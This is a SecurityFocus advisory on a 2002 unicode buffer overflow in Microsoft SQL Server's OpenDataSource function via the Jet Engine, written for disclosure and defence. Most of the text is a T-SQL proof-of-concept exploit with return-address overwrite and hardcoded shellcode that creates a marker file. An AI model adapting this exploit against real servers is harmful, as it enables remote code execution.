source: https://www.securityfocus.com/bid/5057/info

Microsoft SQL Server is prone to a remotely exploitable unicode-based buffer overflow condition. This condition occurs when the OpenDataSource function is used with MS Jet Engine.

This issue may be exploited to execute attacker-supplied instructions with the privileges of the SQL Server process. This issue requires that the attacker can pass malicious data to the OpenDataSource function and may be exploitable remotely via SQL injection vulnerabilities in web-based software.

Due to this being an issue in the MS Jet Engine component itself, other products which rely on Jet Engine may also be affected by this vulnerability.

We previously alerted on this issue in BID 4847 "Microsoft SQL Server 2000 Multiple Vulnerabilities". This issue was originally publicized as a VNA by NGSSoftware. 

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-- Simple Proof of Concept
-- Exploits a buffer overrun in OpenDataSource()
--
-- Demonstrates how to exploit a UNICODE overflow using T-SQL
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
-- I'm overwriting the saved return address with 0x42B0C9DC
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
-- The address holds a jmp esp instruction.
--
-- To protect against this overflow download the latest Jet Service
-- pack from Microsoft - http://www.microsoft.com/
--
-- David Litchfield (david@ngssoftware.com)
-- 19th June 2002



declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141

while @cnt < 1063
begin
select @padding = @padding + @pad
select @cnt = @cnt + 1
end

-- overwrite the saved return address

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x4343434344444444454545454646464647474747

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K
Sp2
-- change if running a different service pack

select @code =
0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0
C05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N'SELECT * FROM
penDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'
select @exploit = @exploit + @padding + @saved_return_address + @more_pad +
@code
select @exploit = @exploit + N'";User ID=Admin;Password=;Extended
properties=Excel 5.0'')...xactions'
exec (@exploit)

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